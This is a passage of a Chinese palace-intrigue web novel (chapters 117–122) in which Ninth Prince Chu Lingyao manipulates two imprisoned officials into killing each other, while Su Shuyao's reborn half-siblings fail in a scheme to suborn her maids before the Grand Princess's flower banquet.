李副指挥使瘫坐在地，他颤抖着嘴皮，指着王副指挥使：“殿下，我说，背后主使是王大人的表妹，恭王世子的宁侧妃！她给了我们五百两，让我们查封香料铺子，宁侧妃还说了，事成之后铺子归我们。九殿下，冤有头债有主，殿下要抓抓王大人的表妹！” 楚翎曜缓缓伸出手，做了个停止的指令。 狱卒将血滴子收了回去。 王副指挥使瞪了李副指挥使一眼，虽然心有埋怨，还是肉眼可见地松了口气。 楚翎曜叹了口气：“宁侧妃通敌叛国，你们既然是她的同谋，按律，当斩立决。” “啊？”两人吓得一颤，随即跪在地上哐哐磕头：“殿下明察，下官什么都不知道啊，除了查封香料铺子，下官什么都没做啊！” 楚翎曜纡尊降贵地看着地上惶恐的两人：“本王看你们也像是被冤枉的。” 两位大人眼中再次燃起希望：“殿下明察秋毫，殿下大恩大德，下官没齿难忘！” 楚翎曜又道：“可是，上面说了，通敌叛国罪名严重，要严查，宁可杀错一双，不可放过一个。” 两位大人再次慌张起来。 楚翎曜唇角一勾，精致的五官活了起来，如妖花绽放：“这样吧，你们等一等，本王跟上面反应一下，问问该怎么处置，看看你俩还有没有生机。” 两人再次感恩戴德地磕头。 心情大起大落得太快了。 楚翎曜戏耍两人，跟玩狗似的。 王李二人在狱中一夜未合眼，这一晚，不像刚开始入狱时互相抱团取暖，两人之间有了嫌隙。 “都是为了帮你，才让我陷入如此境地！” “李大哥，等出去之后，小弟定当百倍补偿！” “哼！” 第二天，楚翎曜再次出现：“经过本王一晚上的斡旋，上面说了，你们当中，可以活一个。” 他的声音很温和，看似在帮忙，仔细分辨就能发现，他在暗示两位自相残杀。 说完之后，楚翎曜叹息一声，转身离开。 “你们可别辜负了本王的一番好意啊。” 两人重新被关进牢房。 “啊——” “啪——啪——” 不远处的牢房里，行刑声夹杂着痛苦的呻吟，血腥味混合着令人作呕的腐臭味，给人一种置身修罗地狱的错觉。 狱卒拿着刑具守在牢房门外：“你们商量一下，看谁活？商量好叫我一下，我好放人。” 王大人和李大人互相看了一眼，都从对方绝望的眼神中看出了滔天的恨意。 这鬼地方，一刻也待不下去了。 既然只有一个人能活着出去，那个人为什么不是自己。 两人扭打在一起，拼着命要致对方于死地。 打着打着，忽然，两人的视线范围各自出现了一把匕首。 “王大人，我也是为你帮你的忙，才会入狱，我不要你的感谢，你去死，让我活就行！” “李大人，你帮人帮到底，帮我出去吧！” 没多久，两人浑身是伤，鲜血直流。 一个时辰之后，李大人趴在地上，脸朝下，一动不动。 王大人还剩一口气，看起来却也是活不长了。 “九殿下，放我出去吧，现在只有我能活着出去了！” 楚翎曜轻轻叹了口气：“你怎么把人打死了？” 王大人双眼露出一抹兴奋：“九殿下，是你说的，只能一个人活着出去，现在只剩我一个活着了！” 楚翎曜摇摇头：“话是这么说，本王也没让你把人打死啊？” “打死了人，可是要偿命的。” 第118章 拙劣的计谋 立刻有人打开牢门，给王大人套上枷锁，要拉着人去上刑。 “九殿下，是你说的，只能活一个，我活下来了啊？！九殿下，是你答应了的啊？！” 楚翎曜看着周围属下，轻笑了一下：“我答应了他的吗？” 身旁的锦衣卫单膝跪地：“九殿下，您什么都没有答应，是他自作孽，不可活。” 楚翎曜满意地笑了。 王副指挥使当场吐出一口黑血。 身心经过大起大落，刚套上枷锁，王副指挥使也咽气了。 “殿下，他被吓死了。” “殿下，今夜有雨。” “找个合适的地方扔了。” 将人扔在荒郊野外，伪装成两人自相残杀，经过一夜雨水洗刷，刑部尚书来了也不会发现疑点。 楚翎曜勾唇一笑：“传出风声，就说王李两位大人是为宁侧妃办事，分赃不均。” “是，殿下。” 事情处理完后，楚翎曜手上把玩着长公主府送来的赏花帖子，眼神晦涩不明。 长公主为谢瑜选郡王妃，苏舒窈被邀请了，也会参加。 “谢瑜谢小郡王，认不认识？” 吴远山目光严肃起来：“殿下，要抓谢小郡王？” 谢小郡王是长公主嫡子，抓捕难度如同上天揽月。 就算抓到了，到时候长公主到陛下面前告状，皇帝雷霆一怒，后果不堪设想...... 但殿下执意要抓，他们也不敢违逆。 楚翎曜深邃的瞳仁幽暗了几分：“你觉得本王和他......” 沉默半晌，薄唇轻启： “谁更好看？” 苏舒窈那个肤浅的女子，就喜欢长得好看的男人。 谢瑜，长得好像挺不错...... 吴远山差点被自己的口水呛死。 他都做好生死一搏的准备了，没想到九殿下问出这样一个问题。 九殿下心思深沉，想得到的回答肯定不会只是简单的比较。 吴远山暗叹，幸亏自己之前被父亲押着读过几年书，他缓了缓，自信开口道：“谢小郡王和殿下各有千秋，九殿下玉树临风，谢小郡王儒雅清贵，殿下丰神俊朗，谢小郡王朗目疏眉......” 还没来得及将平生所学成语全部列举，楚翎曜就喊了停。 一旁的千户魏景成插话道：“谢小郡王哪里能比得上咱殿下，依属下看，谢小郡王虽然俊俏，却不过中人之姿，约莫只有殿下一半的风姿。” 楚翎曜面沉如水。 看起来清冷疏离，但熟悉的人都知道，他在暗爽。 “你是？” “在下魏景成，任千户一职。” “魏千户，将铺子的事处理了，别让人看出是本王的手笔。” 楚翎曜垂着眼帘，看不清眼底情绪，语气却松乏了许多。 “是。” 走出镇抚司，吴远山斜了魏千户一眼：“看不出来，你小子挺会拍马屁。” 魏千户忙谦虚道：“吴大人的成语储备小人望尘莫及。” 吴远山是他的上官，刚才抢话，算是越级拍马屁，魏千户忙转移话题：“吴大人，您说，咱殿下是不是有心上人了啊？” 两人同时想到了威远侯府的苏大小姐。 “只可惜啊，苏大小姐身份低微，最多成为殿下的侍妾。” “殿下的事岂是我们能妄议的，此事不准再提。” “是，吴大人。”魏千户又道：“吴大人，昨儿清点库房，说是莫名其妙丢了不少刑具，难不成咱镇抚司诏狱进贼了？” 吴远山骂道：“怎么可能进贼？缺失的刑具先补上，暗中调查，看是谁拿走了？” ~ 香料铺子再次开张营业，生意更胜从前。 平常，佟掌柜每日都要给巡城吏目打点，现在非但不用打点，地痞街溜子也不敢在铺子外面逗留。 此事很快传到苏明珠和苏明添耳朵里。 两人感觉天都要塌了。 “香料铺子真不是苏舒窈的？”苏明添躺在床上，喘着粗气。 苏明珠也疑惑了，这段时间，她一直派人密切关注苏舒窈的动向，苏舒窈并没有什么异常。 要不是李、王两位副指挥使离奇死亡，她都要认为此事与她无关了。 “是她的，肯定是她的，她去过镇扶司找过楚翎曜。” 能神不知鬼不觉把李、王两位副指挥使杀死的，除了锦衣卫都指挥使楚翎曜，苏明珠再也想不出第二个人。 “你不是说她没找到人吗？” 楚翎曜根本没出面，苏舒窈明明找了个空。 “难道他们私下里见面了？” 提到楚翎曜，苏明珠和苏明添眼中毫无惧意，因为他们都知道，楚翎曜在夺嫡中惨败，最后死状凄烈，根本不用担心。 “二哥哥，苏舒窈真是太狡诈了，我们找到大哥，一起商量吧。” 苏明珠带着苏明添、苏明芷来到了苏明沛院子里。 两人将香料铺子的事和苏舒窈在外面偷偷资助苏明沣一家的事说了。 “大哥哥，香料铺子是我们侯府的财产，苏舒窈拿着我们的钱给外人！” “想想我们这段时间天天吃水煮菜，大伯一家却吃香的喝辣的！” “苏舒窈还给大伯请鬼医，置二哥于不顾！” “堂堂侯府，竟然还过得不如一个落魄户！” 两人你一言我一语，义愤填膺、双目通红！ 苏明沛听到之后，简直怒不可遏。 他还等着鬼医帮他治疗不育之症呢，苏舒窈宁愿请鬼医医治半截身子入土的瞎子大伯一家，都不愿意将鬼医带回来医治他和二弟。 要知道，他可是未来的二品尚书，二弟也是未来的三品大将军。 简直目光短浅！ 原本他对苏舒窈的态度有所转圜，现在一下又将苏舒窈恨到了骨子里。 “大哥哥，你说，我们现在该怎么办？” 苏明沛上一世可是做到了二品尚书，三人同时看向他，希望他拿主意。 苏明沛想了想，“当务之急，是抓住苏舒窈和香料铺子有关系的证据，把属于侯府的银钱拿回来！” 父亲宁愿拿钱炼丹，都不愿补贴他们。母亲倒是有嫁妆，可是母亲又去了家庙。 明年即将科举，全国各地的举子已经齐聚京城，现在正是以文会友的大好时机。 李大儒不收徒，他还能拜礼部尚书为师。 奈何他囊中羞涩，连拜师礼也掏不出来。 想到这里，苏明沛恨得是咬牙切齿。 “大哥哥，该怎么做？” 苏明沛：“既然从外面入手失败，不如从里面入手。” 苏舒窈身边有四个大丫鬟，她的事，几个丫鬟肯定知晓。 “想办法收买她身边几个丫鬟。” 苏明珠迟疑一瞬：“怎么收买？” 首先，他们没有银钱。 倚兰居的丫鬟，吃穿用度虽然比不上侯府的嫡小姐，但顿顿都有肉吃，一个个满面油光。 不像她和明芷，吃了这段时间的水煮菜，日渐消瘦、面如菜色。 苏舒窈对院子里的丫鬟，都比对她们要好！ 想到这里，苏明珠眼中恨意愈深。 苏明沛拍拍直缀，抬头挺胸，“本世子许她们一个妾室之位，她们还能不从？” 第119章 出卖色相 苏明沛自以为自己出了个锦囊妙计，说完之后，得意地看着几个弟弟妹妹。 苏明珠眨眨眼，没有说话。 苏明添也沉默。 苏明芷则有些不情愿：“大哥哥，你可是世子，世子地位尊贵，苏舒窈身边的丫鬟那么卑贱，怎么能成为你的妾室？” 苏明沛叹气摇头：“不入虎穴焉得虎子。” 一副做出了极大牺牲的模样。 他看了眼躺在床板上的苏明添：“二弟，你还没纳妾吧？” 苏明添脸上出现几分羞涩：“大哥，我现在这个样子，实在是有心无力。” 苏明沛：“无妨，耍些手段，攻心为上。” “只收一人，就怕对方耍花招。你我兄弟各收一人，也不怕她们撒谎。” “大哥好计谋！” 苏明添对色欲不太看重，他院子里也有通房。 不过既然大哥都牺牲了，他也不能独善其身。 四人一拍即合，当即开始分析苏舒窈身边四个大丫鬟，谁最好得手。 苏舒窈身边四个大丫鬟分别名为秋霜、秋叶、秋水、秋雨。 秋霜虽然是苏舒窈最为信赖的丫鬟，管着苏舒窈的库房，但秋霜的颜值稍微偏低，且忠心耿耿，不好撬动。 最漂亮的，当属一个名为秋叶的丫鬟。 另一个名为秋水的丫鬟，颜值屈居第二。 秋叶管着苏舒窈的银子、首饰、衣裳，秋水负责管理院子里的杂事以及对外联络。 只要攻下两人，既可以支取苏舒窈的银钱，还能掌握她在外面的动向。 “那就这样说好了，本世子收了秋叶，二弟收了秋水。” “到时候定要让苏舒窈尝一尝众叛亲离的滋味！” 当天，秋叶在院子里闲逛的时候，就偶遇了世子院子里的春风。 “哎哟，这不是秋叶姐姐吗？”春风从兜里抓出一把瓜子儿递了过去，“秋叶姐姐从哪里来，往哪儿去啊？” 秋叶犹豫了一下，接过瓜子儿，“大小姐没吩咐，我随便出来逛逛，妹妹有事儿？” 春风摇摇头：“没事儿，我今儿正好不当值，约了三个姐妹玩耍，刚才春雨临时有事，散了牌局，不知姐姐会不会打叶子牌，要是会，陪妹妹玩几把如何？” 她专门调查过，秋叶最喜欢玩叶子牌。 秋叶吐出嘴里的瓜子皮儿：“听说你们听竹轩的丫鬟饭都吃不起了，还有银钱耍牌？” 春风脸上笑容一顿，瞬间又恢复过来：“姐姐说的什么话，肉和油水少了些，红薯杂粮还是能吃饱的。” 秋叶犹豫了一下，还是应了下来：“先说好，就玩两把，怕大小姐有事吩咐。” “行。” 春风将人领到世子的听竹轩，“姐姐等一等，我去叫人，叫上人，我们姐妹去水榭玩耍，那边凉快。” 秋叶来的时候，院子里还有几个下人，站了一会儿，下人一个接一个全都消失了。 忽然，苏明沛穿着一身湖蓝直缀，出现在院子里。 他头上束了一根墨玉簪，耳后抹了熏香，鬓发梳得齐整。 腰间系的是一根天青色玉带，这根玉带，还是到威远侯那里借来的。 玉带上挂了一块玉佩、一串玉珠、一块马上封侯的金饰，有一种混杂了富贵和清雅的美。 明显是刻意打扮过。 打扮之后，看起来算得上有几分姿色。 苏明沛走到秋叶面前，淡淡地看了人一眼：“跟着本世子过来。” 秋叶退后一步：“世子，奴婢是倚兰居的丫鬟，世子要找谁，奴婢马上帮世子去唤。” “倚兰居的，难道就不是侯府的奴婢了？叫你来就来，啰嗦什么？”苏明沛语气霸道：“怎么，本世子使唤不动你了？！” 秋叶撇了撇嘴，跟着苏明沛进了厢房。 苏明沛站到床边，指着床铺：“把床铺好。” 秋叶把床铺好之后，苏明沛又道：“过来，帮本世子更衣。” 这个时候，秋叶哪里不知道苏明沛的打算。 世子这是想把她收房了。 秋叶抬眼看了下苏明沛，小声问道：“世子，知道奴婢的名字吗？” 苏明沛佯装不知：“不知道。你告诉本世子，你叫什么名字？” 眼中欲火燃起，苏明沛下意识添了舔嘴唇。 该说不说，秋叶的姿色虽然不及阿梨，但活泼许多，别有一番风味。 秋叶低下头，露出一抹娇羞：“世子，奴婢何德何能，能侍奉世子？” 苏明沛眼中得意之色渐浓，他一出马，立刻引得这些小丫鬟春心荡漾。 “本世子看上你，是你的福分，还不快过来。” 呼吸急促，有种迫不及待的色急。 秋叶忽然抬起头，惊恐地指着前面：“世子，你看那是什么！？” 苏明沛转头看过去，什么都没有看到，再次转头，秋叶早已夺门而出。 秋叶一鼓作气跑回倚兰居，伏在院子里的石桌上大喘气：“吓死我了！” 秋霜：“秋叶，你又跑哪里耍去了？” “秋霜姐姐，我差点就回不来了！”秋叶喘完气，做出一个非常夸张的表情： “世子差点收了我！” 得知秋叶的遭遇，苏舒窈浅浅一笑：“你怎么不愿意啊？” 秋叶绘声绘色道：“世子那个阉鸡，孩子都生不出来，奴婢跟着他干什么？跟着他吃水煮菜？跟着他断子绝孙？” “奴婢的娘到庙里算过，奴婢今后可是会儿孙满堂的！” “还是跟着大小姐好，奴婢听说，月姨娘还要花银子补贴世子，世子的妾室，奴婢不稀罕！” “春风叫住奴婢的时候，奴婢就察觉出不对了，世子和大小姐有罅隙，我们当奴婢的，也不会走动。春风仗着是世子院子里的，平日里眼高于顶，瞧见奴婢都没好脸色。这回见了奴婢，又是递瓜子儿，还亲亲热热拉着奴婢说话，肯定有猫腻。” 她说得绘声绘色，苏舒窈忍不住笑起来。 秋水那边，也遭遇了同样的事情。 秋水被叫进苏明添的院子，苏明添让秋水伺候他屙尿。 苏明添瘫在床上，要用尿壶，还要人帮忙扶鸟。 秋水把尿壶往苏明添头上一扣，也跑了回来。 秋霜听完两人的遭遇，笑得前仰后合：“你们就不怕世子和二少爷发难？” 秋叶：“奴婢专门问了世子，世子不知道奴婢的名字。” 苏舒窈淡淡一笑：“他知道，他们有预谋。” 知道他们兄妹四人会想办法针对她。 只是没想到，会是这样一个拙劣的计谋。 堂堂世子，竟然像个卖身的小倌儿一般。 秋叶“啊”了一声，随即恢复过来：“那也不怕，奴婢的卖身契在大小姐手里，世子和二少爷拿我们没有办法！” 第120章 取而代之 多亏了上次万氏发卖丫鬟，苏舒窈趁机把身边丫鬟的卖身契全捏在了手中。 苏舒窈很放心，上一世，这几个丫鬟就是这般忠心，她相信她们不会背叛。 从厢房里出来，秋水拉着秋叶嘀咕：“这段时间不敢出院子了。” 秋叶笑道：“没事儿，我陪着你。” 秋水叹了口气：“你说，要是世子和二少爷闯进来拿人，大小姐为了平息事端，会不会把我们交出去？” 她会有这种想法，也是受了万氏的影响。 万氏身边最得宠的吴妈妈死后，夫人不念旧情，抄了吴妈妈的家，还赶走了吴妈妈的女儿。 秋叶觉得，侯府的奴婢，就跟路边的狗一样，是可以随意打杀的。 秋水瞪大了眼睛：“啊，不会吧？” 刘妈妈从后面走上来：“小蹄子，胡思乱想什么呢？咱大小姐是那种人吗？” 秋水小鸡啄米般点头：“对，夫人是夫人，大小姐是大小姐，大小姐和夫人，是不一样的。我相信，大小姐一定会护着我们的！” 秋叶：“我也信。只要我们忠心，大小姐不会轻易舍弃我们的！” 果然，下午的时候，苏明沛四兄妹便找上门来了。 苏明沛站在院子门口大喊：“苏舒窈，把你身边的丫鬟交出来！” “你怎么教训丫鬟的，目无尊卑，行事莽撞，这样的丫鬟，就该打杀了扔出去。” 秋叶跑了之后，苏明沛原本没放在心上，只是以为对方太过于活泼害羞，还没做好当世子姨娘的准备。 他相信，只要放出信号，秋叶会主动找来。 毕竟他可是侯府的继承人，长得还这般玉树临风。 没一会儿，便有谣言传出来，说他是“生不出孩子的阉鸡”、“需要姨娘补贴的抠门世子”。 苏明沛怒不可遏。 苏明添那边也不太好，一开始，他觉得自己做出了巨大的牺牲，毕竟他今后可是三品大将军。 他的第一个妾室，定要好生筛选的。 没成想秋水给脸不要脸，居然用尿壶砸他，把他头上砸了个大包不说，尿液还溅了他一身。 他双腿断了，不方便洗澡，只能让丫鬟擦了身子，换了衣裳。 擦洗之后，他总觉得身上还有股骚味。 苏舒窈让刘妈妈将人全部请了进来。 她端坐于主位，双手自然交叠置于膝上，双眼平静深邃，不见波澜：“不知世子前来，所为何事？” 苏明沛冷哼一声：“你的丫鬟冒犯了本世子，还不快把她叫出来谢罪！” 苏舒窈抬眼看过去：“世子，我的丫鬟，怎么得罪你了？” 苏明沛支支吾吾说不出口。 秋叶只是跑了，并没有冒犯他。 至于那些谣言，也没有证据是秋叶传出来的。 大夏是礼仪之邦，尤其讲究尊卑有序、男女有别。 妹妹的丫鬟属于“闺中私有”，兄弟叔父都不能轻易染指，否则便是“不顾伦常”，更是打破了“男女有别”的秩序。 如果哥哥和妹妹的丫鬟有染，对妹妹的“闺名”有损，也会影响哥哥的“名声前途”。 这些苏明沛都知道，这种事，他也只敢在暗地里做。 大张旗鼓放到明面上，他是不敢的。 苏明沛梗着脖子嚷道：“你的丫鬟，用尿壶砸二弟！” 苏明添被小厮抬了出来：“苏舒窈，你今天必须给个说法！” “二少爷，我家丫鬟为什么会用尿壶砸你？我的贴身丫鬟，怎么被你叫到院子里，还让她伺候你？” “二少爷，这话传出去，我倒是不怕。但，二少爷已经残疾了，要是名声不好，更不好议亲了。” 苏舒窈闻到一股臭味，抬手用帕子掩住鼻子，厢房里的丫鬟婆子们也集体揉了揉鼻子。 这一举动激怒了苏明添。 但他就是个残疾，躺在床板上，什么也做不了。 他一张脸涨得通红，恨不得找个地缝钻进去。 “你，你胡说八道些什么......” 苏明添自诩前途光明，铆足劲想找一门有力的妻族，定不能因此坏了名声。 他哀怨地看了苏明沛一眼。 都怪大哥，想的什么馊主意。 伤敌一百，自损八百！ 苏舒窈要是知道他的想法，肯定会纠正他，明明就是伤敌零，自损一千。 “二少爷断了腿，不好生养着，每天到处跑，也不知道什么时候才能痊愈。”苏舒窈看着抬床板几个小厮：“把二少爷好生抬回去吧。” 两个贴身小厮，天天抬着苏明添到处跑，手臂都变粗了。 “苏舒窈，你等着瞧！” 和苏舒窈掰扯，除了丢脸，完全占不了一点好处，苏明沛扔下一句话，带着人走了。 看着兄妹四人落荒而逃的身影，苏舒窈淡然一笑。 上一世，苏明沛身边有唐挽心时刻规劝、唐家幕僚出谋划策、唐家势力保驾护航，再加上她的资金支持，做到了二品尚书。 这一世，他身边只有一个苏明珠。 近朱者赤近墨者黑。 和苏明珠亲近多了，变成了这副蠢样子。 苏明沛没了生育，苏明添是个残疾，威远侯整日沉迷炼丹，整个侯府，算是废了。 反观大伯一家，大伯现在复明有望，大哥苏明厉走科举仕途一道。 二哥苏明南武艺高强，可以走武将这条路。 三哥苏明沣虽然吊儿郎当了一些，如果拜师鬼医成功，以后前途也不可限量。 为何不让大伯一家，取而代之。 到时候，她依然是侯府的大小姐。 ~ 苏明沛一行人离开后，秋叶暗自嘀咕，“世子不是对月姨娘一往情深吗？做出这种下流事，就不怕被月姨娘知道？” 刘妈妈凑过来，小声道：“月姨娘出门去了，世子允许的。” 秋叶笑了笑：“怪不得。” 月姨娘的肚子已经有些显怀了，怀孕之后，香粉抹到脸上会发红点，她今日出门，是为了采买适合孕妇的香粉。 月姨娘戴着帷帽，手自然搭在春杏手上，看起来像是高门大户的媳妇。 掌柜把人迎到雅间，让其慢慢挑选。 月姨娘一下子选了好多，春杏听着掌柜报价，咋舌道：“夫人，这些都五百两了！” 月姨娘说了，在外面，不叫她姨娘，要叫夫人。 “五百两，天天吃肉，都能吃好几年了。” 月姨娘睨她一眼，嗔怪道：“你一个小丫鬟，懂什么？” “出去告诉掌柜的，这些我全要了，让他们包起来，你仔细盯着，别漏了。” 春杏吐吐舌头，跟着出去了。 春杏前脚刚走，一个婆子撩开帘子走了进来。 “夫人有礼了。”婆子行完礼，径直走到月姨娘面前，伸手搭上她的手腕，开始号脉。 婆子身上穿了件半新的暗红色杭绸褂子，料子阔绰，不紧身，针脚也齐整。 发髻上簪了根玉簪，手腕上戴了一根金镯子，金镯子应该是空心的，上面刻着宝相花纹。 倒是比一般小门小户的夫人穿戴得还体面几分。 这婆子的主子，肯定是皇城根下面的尊贵人物。 对于婆子的莽撞，月姨娘一点也不诧异，像是习以为常。 婆子号完脉，笑道：“恭喜夫人，脉象一切正常。” 说完，就要离开。 月姨娘叫住人：“嬷嬷，可知怀的是男是女。” 婆子笑了笑：“现在月份浅，还诊不出来，再等三个月就能知道。” 月姨娘：“多谢嬷嬷。” 婆子撩开帘子，离开了。 第121章 宁侧妃遭难 王、李两位副指挥使被人发现死在荒郊野外，死状凄惨。 经仵作验尸，两人乃互相残杀致死。 李副指挥使是家里独子，他的去世，对李家来说，简直就是致命打击。 李家人天天去刑部询问。 李副指挥使的姐姐是三皇子侧妃，李侧妃虽然门第不高，但长相貌美，极为受宠。 三皇子被李侧妃吹了两天枕头风，给了刑部压力，要求尽快查出原因。 刑部去香料铺子上调查了一番，发现香料铺子的东家晚娘只是一个平凡无奇的寡妇，佟掌柜虽然挨了打也不敢反抗，很是窝囊。 嫌疑排除。 两位副指挥处事圆滑，和同僚没什么矛盾，也没得罪人，刑部无从入手。 就在一筹莫展之际，有传言，两位副指挥使身前最后是为恭王世子宁侧妃办事，宁侧妃有很大的嫌疑。 刑部又派人去了恭王府。 李家死了独子，都快绝户了，什么顾忌也没了，跟着闹到了恭王府，必须要宁侧妃拿个说法。 王家死了个男丁，还是个副指挥使，憋闷得慌，也跟着去了恭王府闹腾。 恭王和世子接待了刑部官员。 看在恭王的面子上，刑部官员不敢太过分，只是例行问了一些问题便离开了。 恭王妃和世子妃接待了李王两家的家人，碍于三皇子的面子，恭王妃没将人赶出去，安排人在客院住了下来。 等刑部的人一走，恭王妃把宁侧妃叫过来骂了个狗血淋头：“本王妃以为，你虽然闹腾了些，也是在自家院子里折腾，现在竟然搞出两条人命，还让刑部官员找上门来了！” 宁侧妃捏着帕子，哭得像个被雨水打湿的面团：“王妃，妾身冤枉啊，妾身听说世子睡得不好，便想让表哥寻摸一些安眠的香料，具体发生了什么，妾身也不知道！。” 她这一挨骂，其余的侧妃恨不得踩上两脚。 吴侧妃平时被宁侧妃打压得最厉害，她第一个出面劝道：“王妃息怒，宁妹妹在禁足期，没有出府的，此事定和她无关。” 看似求情，实则是上眼药。 “对啊，你不是在禁足吗？怎么和表哥联系上了？” 恭王妃指着她的鼻子，臭骂道：“看你长了一副老实猪样，以为是个好的，没成想你偏偏是最不安分那个！” “滚回去继续禁足，女戒女训抄一百遍，三日之后交上来！” “扣三个月份例！” “再犯事，直接轰出王府！” 宁侧妃手段一流，吃亏就吃亏在长相上，现在被恭王妃骂长得像猪，只觉得羞愤难当。 回到自己的院子，宁侧妃当场就砸了好几样瓷器。 “想办法传话出去，让苏明珠进府来见我！” “以为是条狗，没成想是条毒蛇！可把本侧妃害苦了！” 宁侧妃虽然被禁足不能出去，但外人可以进来。 第二天苏明珠就被招了进来。 苏明珠跪在地上：“给侧妃娘娘请安。” 宁侧妃也不看她，兀自端着茶慢悠悠品尝。 等人跪了一个时辰，宁侧妃终于开口了。 “抬起头来。” 苏明珠刚抬头，一个将茶盏横空飞过来，砸到她脑门上。 “砰——” 青瓷碎裂的声响混合着滚烫的茶水，瞬间泼溅开来。 额头立刻红肿起来，茶叶贴在脸上，狼狈至极。 苏明珠捂着头，呜咽了一声，还没来得及询问发生了什么事，宁侧妃便指着她破口大骂： “苏明珠，你好大的胆子，竟敢害我！” 苏明珠傻眼了：“我对侧妃娘娘只有尊敬，怎么敢谋害，侧妃娘娘冤枉啊！” 宁侧妃气得手抖：“说，你那个姐姐，是怎么害死朝廷命官的！” “我表哥刚在五城兵马司站稳脚跟，原本前途无量，就这么不明不白地死了！” “都是你，都是你害的！” 紧接着，又一个茶盏扔了过来。 滚烫的茶水混合着茶叶浇了苏明珠一头一脸，她被烫得吃痛，却不敢躲：“侧妃娘娘，什么害死朝廷命官？谁死了？” 海棠解释道：“侧妃娘娘的表哥去查封香料铺子，一共去了两个副指挥使，刚查封完，两位副指挥使大人便离奇死亡了。” 苏明珠惊讶道：“什、什么，都死了！？怎么死的？我不知道啊？侧妃娘娘，我真的什么都不知道？” 她的惊讶是装出来的。 她一直在关注这铺子的事，早就知道人死了。 但如果不惊讶，还会被宁侧妃责难。 宁侧妃走到苏明珠面前，居高临下地看着人：“你真不知道？” 苏明珠将头埋在地上：“侧妃娘娘，我真的不知道。” 宁侧妃又问：“这件事和你姐有没有关系？” 苏明珠假装想了想：“肯定是有关系的，侧妃娘娘，香料铺子肯定是姐姐的！我敢用人头保证！” 宁侧妃皱了皱眉：“她一个落魄侯府的养女，怎么会有那么大的本事？” 苏明珠没说话。 她猜测是九殿下帮了苏舒窈，但如果说出九殿下的名讳，宁侧妃肯定会退缩。 宁侧妃这人，惯会趋利避害、捧高踩低，要是知道是九殿下在背后帮忙，不仅会把自己摘干净，还会推她出去背锅。 宁侧妃要是不干了，那么她之前受的那些气，挨的那些打，受的那些屈辱，岂不是白挨了？ 虽然她知道九殿下最后会惨死，但现在的九殿下统领整个锦衣卫，是让整个朝堂都胆寒的存在。 她只知道苏舒窈和九殿下有关系，却不知道她和九殿下的关系有多深。 倒是可以利用宁侧妃，宁侧妃是个记仇的性子，她如果和苏舒窈对上，到时候九殿下出面，她在暗中观察，定能看得清清楚楚。 正所谓鹬蚌相争，渔翁得利。 她恨苏舒窈，更恨宁侧妃，要不是宁侧妃，她也不会被恭王世子侮辱，更别说宁侧妃还用茶盏砸她，把她当成一条狗似的呵斥。 要是能让宁侧妃和苏舒窈对上，两败俱伤就最好不过了。 想到这里，苏明珠心里有些激动。 重生果然还是有好处的。 她抬起头，摆出一副臣服的表情：“侧妃娘娘，我也不知道，但姐姐有银子，有很多银子，说不定是花钱请人帮忙的。” “侧妃娘娘，姐姐害你这么惨，我为侧妃娘娘感到不值，可惜我人微言轻，不能帮忙。” 宁侧妃冷笑一声：“本侧妃怎么可能就这么算了？” 因为这件事，恭王世子都不到她院子里来了。 她被其他侧妃嘲讽，还失了王妃的疼爱，这一桩桩一件件，全是苏舒窈害的！ 她一定要让苏舒窈付出代价！ 宁侧妃回房写了封信，“你帮我交给户部侍郎家的大姑娘冷如烟。” 冷如烟是她的手帕交，得知她受了这么多苦，肯定会帮她讨回公道。 明日长公主赏花宴，她要苏舒窈身败名裂！ “是，侧妃娘娘。” 苏明珠接过信，心中暗喜。 这下可有好戏看了。 第122章 品性 长公主赏花宴当日，苏舒窈一早便起来梳妆。 乌木梳齿插入如瀑布般的黑发，一梳到底。 青丝挽起，露出光洁细腻的脖颈，还未上粉，莹润的皮肤便让人挪不开眼。 今儿的赏花宴，是为谢小郡王和九殿下选妃，几乎大半个京城的未婚少女都收到了请帖。 苏舒窈刚换上新作的衣裙，威远侯便叫人来唤。 “你作为长姐，务必将几个妹妹看好。如果能得到长公主青睐最好，要是没被长公主看重，也可以多多留意其他高门公子。” “遇到合适的，一定要想办法在对方心目中留下好印象。” “是，父亲。” “是，侯爷。” 厅堂内，苏明珠、苏明芷已经装扮整齐，除此之外，还有两个眼生的姑娘。 “这是你母亲娘家的表妹，万映霜、万映霞，你也一并带上。” 两个姑娘规规矩矩朝着苏舒窈行了一礼：“舒窈姐姐好。” 苏舒窈眉心微蹙：“侯爷，请帖上只有我一个人的名字。” 威远侯不以为意：“上次不也是只有你一人接到花贴，你也带着全家去了。” 苏舒窈解释道：“侯爷，这次不行。” 她本来想邀李鸢姐姐一起，结果李鸢姐姐没得到邀请。 这次赏花宴邀请的人多，长公主怕怠慢了各家夫人，一个夫人都没请。 接到邀请的，全是适龄少女。 长公主对此次宴请很是重视，邀请的姑娘都是私下里考察过品性的。 苏明珠柔声道：“姐姐，我们姐妹几人，难道不是适龄少女？” 苏舒窈淡淡一笑：“适龄是适龄，就是品性不太端正。” 苏明珠咬着唇瓣，泫然欲滴第看着威远侯：“父亲，女儿真有这么不堪？” 威远侯：“明珠的品性，我还不知？她的品性算得上高洁！” 苏舒窈：“侯爷，明珠她不仅勾搭姐姐的未婚夫，上次还和恭王世子大被同眠，这样的人，品性算得上高洁？” 此言一出，万家两个表妹惊讶地捂着嘴。 舒窈姐姐也太能说了。 万氏被送去家庙，侯府几个子女都不帮忙，唯有苏舒窈想办法送人去伺候万氏。因为此事，万家两个舅舅对苏舒窈的观感不错，私底下夸她孝顺。 把女儿送来的时候，万家长辈叮嘱，有什么拿不准的，多问问舒窈姐姐。 万家两个表妹以为苏舒窈是个性子柔顺的，现在看来，完全不是想象中那样。 威远侯大声呵斥：“舒窈，你在说什么？！” 就算再龌龊，这是能拿到台面上来讲的吗？ 万家表妹虽然是亲戚，但也是外人。 苏舒窈云淡风轻一笑：“侯爷，我带她去没问题，要是她被轰出长公主府，丢的可是威远侯府的脸面。” “侯爷可要想好了。” 威远侯果然犹豫了：“既然这样，明珠便待在家里吧，你带着明芷几人去。” 苏明珠恨得咬牙切齿，眼底燃起熊熊怒火。 苏明芷冷哼一声：“父亲，明珠姐姐不去，那我也不去了。” 苏舒窈淡淡一笑：“行吧，万家两位妹妹跟我走，时候不早了。” 苏明芷傻眼了，苏舒窈都不挽留一下的吗，就这样走了。 以前她闹小脾气，苏舒窈每次都会耐着性子哄她的。 去年的花灯节，她因为长胖穿不下新作的衣裳，耍脾气不肯出门。 苏舒窈哄了她大半日，又给她做冰糖葫芦，又带她去京城最奢华的绸缎庄买了新衣裳。 